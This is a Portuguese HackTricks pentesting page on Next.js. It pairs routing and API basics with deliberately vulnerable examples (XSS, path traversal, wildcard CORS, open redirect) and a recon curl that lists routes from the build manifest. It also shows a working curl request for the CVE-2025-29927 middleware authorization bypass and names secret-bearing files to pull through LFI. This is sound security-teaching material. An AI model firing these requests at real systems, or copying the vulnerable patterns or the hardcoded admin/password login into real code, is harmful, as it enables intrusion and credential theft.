NextJS
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Arquitetura Geral de uma Aplicação Next.js
Estrutura de Arquivos Típica
Um projeto Next.js padrão segue uma estrutura específica de arquivos e diretórios que facilita recursos como rotas, endpoints de API e gerenciamento de ativos estáticos. Aqui está um layout típico:
my-nextjs-app/
├── node_modules/
├── public/
│ ├── images/
│ │ └── logo.png
│ └── favicon.ico
├── app/
│ ├── api/
│ │ └── hello/
│ │ └── route.ts
│ ├── layout.tsx
│ ├── page.tsx
│ ├── about/
│ │ └── page.tsx
│ ├── dashboard/
│ │ ├── layout.tsx
│ │ └── page.tsx
│ ├── components/
│ │ ├── Header.tsx
│ │ └── Footer.tsx
│ ├── styles/
│ │ ├── globals.css
│ │ └── Home.module.css
│ └── utils/
│ └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json
Core Directories and Files
- public/: Hospeda arquivos estáticos, como imagens, fontes e outros arquivos. Arquivos aqui são acessíveis no caminho raiz (
/). - app/: Diretório central para as páginas, layouts, componentes e rotas API da sua aplicação. Adota o App Router paradigm, permitindo recursos avançados de roteamento e segregação entre componentes servidor-cliente.
- app/layout.tsx: Define o layout raiz da sua aplicação, envolvendo todas as páginas e fornecendo elementos de interface consistentes como cabeçalhos, rodapés e barras de navegação.
- app/page.tsx: Serve como ponto de entrada para a rota raiz
/, renderizando a página inicial. - app/[route]/page.tsx: Trata rotas estáticas e dinâmicas. Cada pasta dentro de
app/representa um segmento de rota, epage.tsxdentro dessas pastas corresponde ao componente da rota. - app/api/: Contém rotas de API, permitindo criar funções serverless que tratam requisições HTTP. Essas rotas substituem o diretório tradicional
pages/api. - app/components/: Abriga componentes React reutilizáveis que podem ser utilizados em diferentes páginas e layouts.
- app/styles/: Contém arquivos CSS globais e CSS Modules para estilização com escopo por componente.
- app/utils/: Inclui funções utilitárias, módulos auxiliares e outra lógica não ligada à UI que pode ser compartilhada pela aplicação.
- .env.local: Armazena variáveis de ambiente específicas do desenvolvimento local. Essas variáveis não são commitadas no controle de versão.
- next.config.js: Customiza o comportamento do Next.js, incluindo configurações do webpack, variáveis de ambiente e ajustes de segurança.
- tsconfig.json: Configura as opções do TypeScript para o projeto, habilitando checagem de tipos e outras funcionalidades do TypeScript.
- package.json: Gerencia dependências do projeto, scripts e metadados.
- README.md: Fornece documentação e informações sobre o projeto, incluindo instruções de configuração, diretrizes de uso e outros detalhes relevantes.
- yarn.lock / package-lock.json: Travam as dependências do projeto em versões específicas, garantindo instalações consistentes entre diferentes ambientes.
Client-Side in Next.js
File-Based Routing in the app Directory
O diretório app é a pedra angular do roteamento nas versões mais recentes do Next.js. Ele utiliza o sistema de arquivos para definir rotas, tornando o gerenciamento de rotas intuitivo e escalável.
Tratando o caminho raiz /
Estrutura de Arquivos:
my-nextjs-app/
├── app/
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Arquivos-chave:
app/page.tsx: Trata requisições para o caminho raiz/.app/layout.tsx: Define o layout da aplicação, envolvendo todas as páginas.
Implementação:
tsxCopy code// app/page.tsx
export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}
Explicação:
- Definição da rota: O arquivo
page.tsxdiretamente sob o diretórioappcorresponde à rota/. - Renderização: Este componente renderiza o conteúdo da página inicial.
- Integração de layout: O componente
HomePageé envolvido porlayout.tsx, que pode incluir cabeçalhos, rodapés e outros elementos comuns.
Lidando com Outros Caminhos Estáticos
Exemplo: Rota /about
Estrutura de arquivos:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── about/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementação:
// app/about/page.tsx
export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}
Explicação:
- Definição de Rota: O arquivo
page.tsxdentro da pastaaboutcorresponde à rota/about. - Renderização: Este componente renderiza o conteúdo da página
/about.
Rotas Dinâmicas
Rotas dinâmicas permitem lidar com caminhos com segmentos variáveis, possibilitando que aplicações exibam conteúdo com base em parâmetros como IDs, slugs, etc.
Exemplo: /posts/[id] Route
Estrutura de Arquivos:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── posts/
│ │ └── [id]/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementação:
tsxCopy code// app/posts/[id]/page.tsx
import { useRouter } from 'next/navigation';
interface PostProps {
params: { id: string };
}
export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'
return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}
Explicação:
- Dynamic Segment:
[id]denota um segmento dinâmico na rota, capturando o parâmetroidda URL. - Accessing Parameters: O objeto
paramscontém os parâmetros dinâmicos, acessíveis dentro do componente. - Route Matching: Qualquer caminho correspondente a
/posts/*, como/posts/1,/posts/abc, etc., será tratado por este componente.
Rotas Aninhadas
Next.js suporta rotas aninhadas, permitindo estruturas de rotas hierárquicas que espelham a organização de diretórios.
Exemplo: Rota /dashboard/settings/profile
File Structure:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── dashboard/
│ │ ├── settings/
│ │ │ └── profile/
│ │ │ └── page.tsx
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementação:
tsxCopy code// app/dashboard/settings/profile/page.tsx
export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}
Explicação:
- Aninhamento Profundo: O arquivo
page.tsxdentro dedashboard/settings/profile/corresponde à rota/dashboard/settings/profile. - Reflexo da Hierarquia: A estrutura de diretórios reflete o caminho da URL, facilitando a manutenção e a clareza.
Rotas Catch-All
Rotas catch-all lidam com múltiplos segmentos aninhados ou caminhos desconhecidos, oferecendo flexibilidade no tratamento de rotas.
Exemplo: Rota /*
Estrutura de Arquivos:
my-nextjs-app/
├── app/
│ ├── [...slug]/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementação:
// app/[...slug]/page.tsx
interface CatchAllProps {
params: { slug: string[] }
}
export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`
return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}
Explicação:
- Catch-All Segment:
[...slug]captura todos os segmentos de caminho restantes como um array. - Usage: Útil para lidar com cenários de roteamento dinâmico como caminhos gerados por usuários, categorias aninhadas, etc.
- Route Matching: Paths like
/anything/here,/foo/bar/baz, etc., are handled by this component.
Potenciais Vulnerabilidades do Lado do Cliente
While Next.js provides a secure foundation, improper coding practices can introduce vulnerabilities. As principais vulnerabilidades do lado do cliente incluem:
Cross-Site Scripting (XSS)
XSS attacks occur when malicious scripts are injected into trusted websites. Attackers can execute scripts in users’ browsers, stealing data or performing actions on behalf of the user.
Exemplo de Código Vulnerável:
// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}
Por que é vulnerável: O uso de dangerouslySetInnerHTML com entradas não confiáveis permite que atacantes injetem scripts maliciosos.
Client-Side Template Injection
Ocorre quando entradas de usuário são tratadas de forma inadequada em templates, permitindo que atacantes injetem e executem templates ou expressões.
Exemplo de Código Vulnerável:
import React from "react"
import ejs from "ejs"
function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}
Por que é Vulnerável: Se template ou data incluir conteúdo malicioso, isso pode levar à execução de código não intencional.
Client Path Traversal
É uma vulnerabilidade que permite aos atacantes manipular caminhos no lado do cliente para realizar ações não intencionais, como Cross-Site Request Forgery (CSRF). Ao contrário do server-side path traversal, que tem como alvo o sistema de arquivos do servidor, o CSPT foca em explorar mecanismos do lado do cliente para redirecionar requisições legítimas de API para endpoints maliciosos.
Exemplo de Código Vulnerável:
Uma aplicação Next.js permite que usuários façam upload e download de arquivos. A funcionalidade de download é implementada no lado do cliente, onde os usuários podem especificar o caminho do arquivo a ser baixado.
// pages/download.js
import { useState } from "react"
export default function DownloadPage() {
const [filePath, setFilePath] = useState("")
const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}
return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}
Cenário de Ataque
- Objetivo do atacante: Realizar um ataque CSRF para deletar um arquivo crítico (ex.:
admin/config.json) manipulando ofilePath. - Exploiting CSPT:
- Malicious Input: O atacante cria uma URL com um
filePathmanipulado, por exemplo../deleteFile/config.json. - Resulting API Call: O código do lado do cliente faz uma requisição para
/api/files/../deleteFile/config.json. - Server’s Handling: Se o servidor não validar o
filePath, ele processa a requisição, potencialmente deletando ou expondo arquivos sensíveis.
- Executando CSRF:
- Crafted Link: O atacante envia à vítima um link ou injeta um script malicioso que dispara a requisição de download com o
filePathmanipulado. - Outcome: A vítima executa a ação sem saber, levando a acesso não autorizado ou exclusão de arquivos.
Por que é Vulnerável
- Falta de Validação de Entrada: O lado do cliente permite entradas arbitrárias em
filePath, permitindo path traversal. - Confiança nas Entradas do Cliente: A API do lado do servidor confia e processa o
filePathsem sanitização. - Ações Potenciais da API: Se o endpoint da API realiza ações que alteram estado (ex.: deletar, modificar arquivos), pode ser explorado via CSPT.
Recon: descoberta de rotas de exportação estática via _buildManifest
When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and route→chunk mapping there enumerate every prerendered page without brute force.
- Pegue o buildId da resposta root (frequentemente impresso no final) ou de tags
<script>que carregam/_next/static/<buildId>/.... - Busque o manifest e extraia as rotas:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
- Use os caminhos descobertos (por exemplo
/docs,/docs/content/examples,/signin) para conduzir auth testing e endpoint discovery.
Lado do Servidor no Next.js
Renderização do Lado do Servidor (SSR)
As páginas são renderizadas no servidor a cada requisição, garantindo que o usuário receba HTML totalmente renderizado. Nesse caso você deve criar seu próprio servidor customizado para processar as requisições.
Casos de Uso:
- Conteúdo dinâmico que muda frequentemente.
- Otimização de SEO, já que os mecanismos de busca podem rastrear a página totalmente renderizada.
Implementação:
// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
Geração de Site Estático (SSG)
As páginas são pré-renderizadas em tempo de build, resultando em tempos de carregamento mais rápidos e menor carga no servidor.
Casos de uso:
- Conteúdo que não muda com frequência.
- Blogs, documentação, páginas de marketing.
Implementação:
// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
Funções Serverless (API Routes)
Next.js permite a criação de endpoints de API como funções serverless. Essas funções são executadas sob demanda sem a necessidade de um servidor dedicado.
Casos de Uso:
- Tratamento de envios de formulários.
- Interação com bancos de dados.
- Processamento de dados ou integração com APIs de terceiros.
Implementação:
Com a introdução do diretório app no Next.js 13, o roteamento e o tratamento de API ficaram mais flexíveis e poderosos. Essa abordagem moderna se alinha ao sistema de roteamento baseado em arquivos, mas introduz capacidades aprimoradas, incluindo suporte a componentes do servidor e do cliente.
Manipulador de Rota Básico
Estrutura de Arquivos:
my-nextjs-app/
├── app/
│ └── api/
│ └── hello/
│ └── route.js
├── package.json
└── ...
Implementação:
// app/api/hello/route.js
export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))
Explicação:
- Localização: API routes are placed under the
app/api/directory. - Nome do Arquivo: Cada endpoint de API reside em sua própria pasta contendo um arquivo
route.jsouroute.ts. - Funções Exportadas: Em vez de um export default único, funções específicas para métodos HTTP (por exemplo,
GET,POST) são exportadas. - Tratamento de Resposta: Use o construtor
Responsepara retornar respostas, permitindo maior controle sobre cabeçalhos e códigos de status.
Como lidar com outros caminhos e métodos:
Tratamento de Métodos HTTP Específicos
Next.js 13+ permite definir handlers para métodos HTTP específicos dentro do mesmo arquivo route.js ou route.ts, promovendo um código mais claro e organizado.
Exemplo:
// app/api/users/[id]/route.js
export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
Explicação:
- Múltiplas exportações: Cada método HTTP (
GET,PUT,DELETE) tem sua própria função exportada. - Parâmetros: O segundo argumento fornece acesso aos parâmetros de rota via
params. - Respostas aprimoradas: Maior controle sobre objetos de resposta, permitindo gerenciamento preciso de cabeçalhos e códigos de status.
Rotas Catch-All e Aninhadas
Next.js 13+ suporta recursos avançados de roteamento como rotas catch-all e rotas de API aninhadas, permitindo estruturas de API mais dinâmicas e escaláveis.
Exemplo de Rota Catch-All:
// app/api/[...slug]/route.js
export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
Explicação:
- Sintaxe:
[...]denota um segmento catch-all, capturando todos os caminhos aninhados. - Uso: Útil para APIs que precisam lidar com diferentes profundidades de rota ou segmentos dinâmicos.
Exemplo de Rotas Aninhadas:
// app/api/posts/[postId]/comments/[commentId]/route.js
export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}
Explicação:
- Aninhamento profundo: Permite estruturas de API hierárquicas, refletindo relacionamentos entre recursos.
- Acesso a parâmetros: Acesse facilmente múltiplos parâmetros de rota através do objeto
params.
Tratando rotas de API no Next.js 12 e em versões anteriores
Rotas de API no diretório pages (Next.js 12 e em versões anteriores)
Antes do Next.js 13 introduzir o diretório app e recursos de roteamento aprimorados, as rotas de API eram definidas principalmente dentro do diretório pages. Essa abordagem ainda é amplamente usada e suportada no Next.js 12 e em versões anteriores.
Rota de API básica
Estrutura de arquivos:
goCopy codemy-nextjs-app/
├── pages/
│ └── api/
│ └── hello.js
├── package.json
└── ...
Implementação:
javascriptCopy code// pages/api/hello.js
export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}
Explicação:
- Localização: As rotas de API ficam sob o diretório
pages/api/. - Exportação: Use
export defaultpara definir a função handler. - Assinatura da Função: O handler recebe os objetos
req(requisição HTTP) eres(resposta HTTP). - Roteamento: O nome do arquivo (
hello.js) mapeia para o endpoint/api/hello.
Rotas de API Dinâmicas
Estrutura de Arquivos:
bashCopy codemy-nextjs-app/
├── pages/
│ └── api/
│ └── users/
│ └── [id].js
├── package.json
└── ...
Implementação:
javascriptCopy code// pages/api/users/[id].js
export default function handler(req, res) {
const {
query: { id },
method,
} = req;
switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
Explicação:
- Segmentos Dinâmicos: Colchetes (
[id].js) indicam segmentos de rota dinâmicos. - Acessando Parâmetros: Use
req.query.idpara acessar o parâmetro dinâmico. - Tratamento de Métodos: Utilize lógica condicional para tratar diferentes métodos HTTP (
GET,PUT,DELETE, etc).
Tratamento de Diferentes Métodos HTTP
Embora o exemplo básico de rota API trate todos os métodos HTTP dentro de uma única função, você pode estruturar seu código para tratar cada método explicitamente para maior clareza e facilidade de manutenção.
Exemplo:
javascriptCopy code// pages/api/posts.js
export default async function handler(req, res) {
const { method } = req;
switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
Melhores Práticas:
- Separação de responsabilidades: Separe claramente a lógica para diferentes métodos HTTP.
- Consistência de respostas: Garanta estruturas de resposta consistentes para facilitar o processamento no lado do cliente.
- Tratamento de erros: Trate métodos não suportados e erros inesperados de forma adequada.
Configuração de CORS
Controle quais origens podem acessar suas rotas de API, mitigando vulnerabilidades de Cross-Origin Resource Sharing (CORS).
Exemplo de Configuração Ruim:
// app/api/data/route.js
export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}
Observe que CORS também pode ser configurado em todas as rotas de API dentro do arquivo middleware.ts:
// app/middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")
const response = NextResponse.next()
if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}
// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}
return response
}
export const config = {
matcher: "/api/:path*", // Apply to all API routes
}
Problema:
Access-Control-Allow-Origin: '*': Permite que qualquer website acesse a API, potencialmente permitindo que sites maliciosos interajam com sua API sem restrições.- Permissão ampla de métodos: Permitir todos os métodos pode permitir que atacantes realizem ações indesejadas.
Como atacantes exploram isso:
Atacantes podem criar sites maliciosos que fazem requisições à sua API, potencialmente abusando de funcionalidades como recuperação de dados, manipulação de dados ou acionando ações indesejadas em nome de usuários autenticados.
CORS - Misconfigurations & Bypass
Exposição de código do servidor no lado do cliente
É fácil usar código do servidor também em código exposto e executado no lado do cliente, a melhor maneira de garantir que um arquivo de código nunca seja exposto no lado do cliente é usando esta importação no início do arquivo:
import "server-only"
Arquivos-chave e seus papéis
middleware.ts / middleware.js
Localização: Raiz do projeto ou dentro de src/.
Finalidade: Executa código na função serverless do lado do servidor antes de uma requisição ser processada, permitindo tarefas como autenticação, redirecionamentos ou modificação de respostas.
Fluxo de execução:
- Requisição de entrada: O middleware intercepta a requisição.
- Processamento: Executa operações com base na requisição (ex.: verifica autenticação).
- Modificação da resposta: Pode alterar a resposta ou passar o controle para o próximo handler.
Exemplos de uso:
- Redirecionar usuários não autenticados.
- Adicionar cabeçalhos personalizados.
- Registrar requisições.
Exemplo de configuração:
// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}
export const config = {
matcher: ["/protected/:path*"],
}
Middleware authorization bypass (CVE-2025-29927)
Se a autorização for aplicada em middleware, releases afetadas do Next.js (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) podem ser contornadas ao injetar o header x-middleware-subrequest. O framework pulará a recursão do middleware e retornará a página protegida.
- O comportamento padrão costuma ser um redirecionamento 307 para uma rota de login como
/api/auth/signin. - Envie um valor longo para
x-middleware-subrequest(repitamiddlewarepara atingirMAX_RECURSION_DEPTH) para mudar a resposta para 200:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
- Como páginas autenticadas carregam muitos subrecursos, adicione o cabeçalho a cada requisição (por exemplo, Burp Match/Replace with an empty match string) para evitar que os recursos sejam redirecionados.
next.config.js
Localização: Raiz do projeto.
Propósito: Configura o comportamento do Next.js, habilitando ou desabilitando recursos, customizando as configurações do webpack, definindo variáveis de ambiente e configurando várias funcionalidades de segurança.
Principais Configurações de Segurança:
Cabeçalhos de Segurança
Os cabeçalhos de segurança reforçam a proteção da sua aplicação instruindo os navegadores sobre como lidar com o conteúdo. Eles ajudam a mitigar vários ataques, como Cross-Site Scripting (XSS), Clickjacking e detecção de tipo MIME:
- Content Security Policy (CSP)
- X-Frame-Options
- X-Content-Type-Options
- Strict-Transport-Security (HSTS)
- Referrer Policy
Exemplos:
// next.config.js
module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
Configurações de Otimização de Imagens
Next.js otimiza imagens para desempenho, mas configurações incorretas podem levar a vulnerabilidades de segurança, como permitir que fontes não confiáveis injetem conteúdo malicioso.
Exemplo de Configuração Inadequada:
// next.config.js
module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}
Problema:
'*': Permite que imagens sejam carregadas de qualquer origem externa, incluindo domínios não confiáveis ou maliciosos. Atacantes podem hospedar imagens contendo payloads maliciosos ou conteúdo que induz o usuário ao erro.- Outro problema pode ser permitir um domínio onde qualquer pessoa pode enviar uma imagem (como
raw.githubusercontent.com)
Como atacantes abusam disso:
Ao injetar imagens de fontes maliciosas, atacantes podem realizar ataques de phishing, exibir informações enganosas ou explorar vulnerabilidades em bibliotecas de renderização de imagens.
Exposição de Variáveis de Ambiente
Gerencie informações sensíveis como chaves de API e credenciais de banco de dados de forma segura sem expô-las ao cliente.
a. Exposição de Variáveis Sensíveis
Exemplo de Configuração Ruim:
// next.config.js
module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Not exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for exposure to client
},
}
Problem:
SECRET_API_KEY: Sem o prefixoNEXT_PUBLIC_, o Next.js não expõe variáveis para o lado do cliente. Contudo, se for prefixada por engano (ex.:NEXT_PUBLIC_SECRET_API_KEY), ela se torna acessível no lado do cliente.
How attackers abuse it:
Se variáveis sensíveis são expostas ao cliente, atacantes podem recuperá-las inspecionando o código do lado do cliente ou requisições de rede, obtendo acesso não autorizado a APIs, bancos de dados ou outros serviços.
Redirecionamentos
Manage URL redirections and rewrites within your application, ensuring that users are directed appropriately without introducing open redirect vulnerabilities.
a. Open Redirect Vulnerability
Exemplo de má configuração:
// next.config.js
module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}
Problema:
- Dynamic Destination: Permite que usuários especifiquem qualquer URL, possibilitando ataques de open redirect.
- Trusting User Input: Redirecionar para URLs fornecidas por usuários sem validação pode levar a phishing, distribuição de malware ou roubo de credenciais.
How attackers abuse it:
Atacantes podem criar URLs que parecem originar do seu domínio, mas redirecionam usuários para sites maliciosos. Por exemplo:
https://yourdomain.com/redirect?url=https://malicious-site.com
Usuários que confiam no domínio original podem, sem saber, navegar para sites maliciosos.
Configuração do Webpack
Personalize as configurações do Webpack para sua aplicação Next.js, o que pode inadvertidamente introduzir vulnerabilidades de segurança se não for feito com cautela.
a. Expondo Módulos Sensíveis
Exemplo de Configuração Ruim:
// next.config.js
module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}
Problema:
- Expondo caminhos sensíveis: Criar aliases para diretórios sensíveis e permitir acesso do lado do cliente podem leak informações confidenciais.
- Agrupamento de segredos: Se arquivos sensíveis são empacotados para o cliente, seus conteúdos ficam acessíveis através de source maps ou inspecionando o código do lado do cliente.
Como atacantes abusam disso:
Atacantes podem acessar ou reconstruir a estrutura de diretórios da aplicação, potencialmente encontrando e explorando arquivos ou dados sensíveis.
pages/_app.js and pages/_document.js
pages/_app.js
Propósito: Substitui o componente App padrão, permitindo estado global, estilos e componentes de layout.
Casos de uso:
- Injetando CSS global.
- Adicionando wrappers de layout.
- Integrando bibliotecas de gerenciamento de estado.
Exemplo:
// pages/_app.js
import "../styles/globals.css"
function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}
export default MyApp
pages/_document.js
Purpose: Substitui o Document padrão, permitindo a customização das tags HTML e Body.
Use Cases:
- Modificando as tags
<html>ou<body>. - Adicionando meta tags ou scripts personalizados.
- Integrando fontes de terceiros.
Example:
// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"
class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}
export default MyDocument
Custom Server (Optional)
Propósito: Embora o Next.js venha com um server integrado, você pode criar um custom server para casos de uso avançados, como roteamento personalizado ou integração com serviços backend existentes.
Observação: Usar um custom server pode limitar as opções de deployment, especialmente em plataformas como Vercel que otimizam para o server integrado do Next.js.
Example:
// server.js
const express = require("express")
const next = require("next")
const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()
app.prepare().then(() => {
const server = express()
// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})
// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})
server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})
Considerações Adicionais de Arquitetura e Segurança
Variáveis de Ambiente e Configuração
Objetivo: Gerenciar informações sensíveis e configurações fora do código-fonte.
Melhores Práticas:
- Use arquivos
.env: Armazene variáveis como chaves de API em.env.local(excluído do controle de versão). - Acesse variáveis com segurança: Use
process.env.VARIABLE_NAMEpara acessar variáveis de ambiente. - Nunca exponha segredos no cliente: Garanta que variáveis sensíveis sejam usadas apenas no servidor.
Exemplo:
// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}
Nota: Para restringir variáveis apenas ao lado do servidor, omita-as do objeto env ou prefixe-as com NEXT_PUBLIC_ para exposição ao cliente.
Artefatos de servidor úteis para visar via endpoints de LFI/download
Se encontrar um path traversal ou download API em uma app Next.js, mire em artefatos compilados que leak segredos do lado do servidor e lógica de auth:
.env/.env.localpara segredos de sessão e credenciais do provedor..next/routes-manifest.jsone.next/build-manifest.jsonpara uma lista completa de rotas..next/server/pages/api/auth/[...nextauth].jspara recuperar a configuração compilada do NextAuth (frequentemente contém senhas de fallback quando os valores deprocess.envnão estão definidos).next.config.js/next.config.mjspara revisar reescritas, redirecionamentos e roteamento de middleware.
Authentication and Authorization
Abordagem:
- Autenticação baseada em sessão: Utilize cookies para gerenciar sessões de usuário.
- Autenticação baseada em token: Implemente JWTs para autenticação sem estado.
- Provedores de terceiros: Integre com providers OAuth (e.g., Google, GitHub) usando bibliotecas como
next-auth.
Práticas de Segurança:
- Cookies seguros: Defina os atributos
HttpOnly,Secure, eSameSite. - Hash de senhas: Sempre faça hash das senhas antes de armazená-las.
- Validação de input: Previna ataques de injeção validando e sanitizando entradas.
Exemplo:
// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"
export default async function handler(req, res) {
const { username, password } = req.body
// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}
Otimização de desempenho
Estratégias:
- Otimização de imagens: Use o componente
